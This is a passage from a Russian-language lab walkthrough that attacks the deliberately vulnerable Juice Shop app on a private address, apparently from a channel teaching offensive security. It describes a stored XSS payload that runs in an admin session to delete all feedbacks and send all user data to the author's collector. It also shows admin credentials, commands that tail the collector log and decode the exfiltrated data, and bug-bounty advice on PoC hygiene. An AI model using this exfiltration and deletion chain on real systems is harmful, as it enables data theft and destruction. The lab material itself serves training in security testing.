  2. Украсть данные всех пользователей и отправить на свой коллектор.

Шаг 1 — залогиниться админом

http://10.0.2.15:3000/#/login

Поле Значение Логин admin@juice-sh.op Пароль admin123

Шаг 2 — открыть панель администрирования

http://10.0.2.15:3000/#/administration

В момент отрисовки таблицы пользователей iframe-payload исполнит JS в сессии админа → удалит все фидбэки и отправит данные всех юзеров на коллектор.

и

Несогласованность в заметке Выше используется localhost:3000, здесь — 10.0.2.15:3000. Привести к одному хосту, иначе при повторном прохождении будет путаница.


17. Проверка результата (скрины-доказательства)

Эксфильтрация — живой лог коллектора

LOG=/tmp/claude-1000/-home-fnay-Pentest-Mentor-task/63d4c4a1-02ee-4429-ab5b-a218d69ee3e8/scratchpad/collector/access.log

tail -f "$LOG"

Расшифровать, что утекло

grep -o '/steal?d=[A-Za-z0-9+/=]*' "$LOG" \
  | tail -1 \
  | sed 's#/steal?d=##' \
  | base64 -d \
  | python3 -m json.tool \
  | head -30

Удаление фидбэков — проверка

curl -s http://10.0.2.15:3000/api/Feedbacks | grep -o '"id":[0-9]*' | wc -l
# было 8 → станет 0


18. Гигиена PoC для багбаунти

Important

  • PoC должен доказывать, а не эксплуатировать. Вместо выгрузки чужой переписки — запрос на Collaborator с document.domain и первыми 8 символами токена.
  • Не касайся аккаунтов реальных пользователей. Заводи два своих: атакующий и жертва.
  • Не оставляй persistence. Откати изменения после подтверждения и напиши об этом в отчёте.
  • В отчёте пиши цепочку, а не пейлоад. Не «XSS в поле comment», а «Stored XSS → чтение CSRF-токена → смена email админа → сброс пароля → полный ATO». Формулировка цепочки поднимает Medium до Critical.
  • Скринкаст 30–60 секунд ценится выше портянки кода — особенно для оверлеев и кейлоггеров.

Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!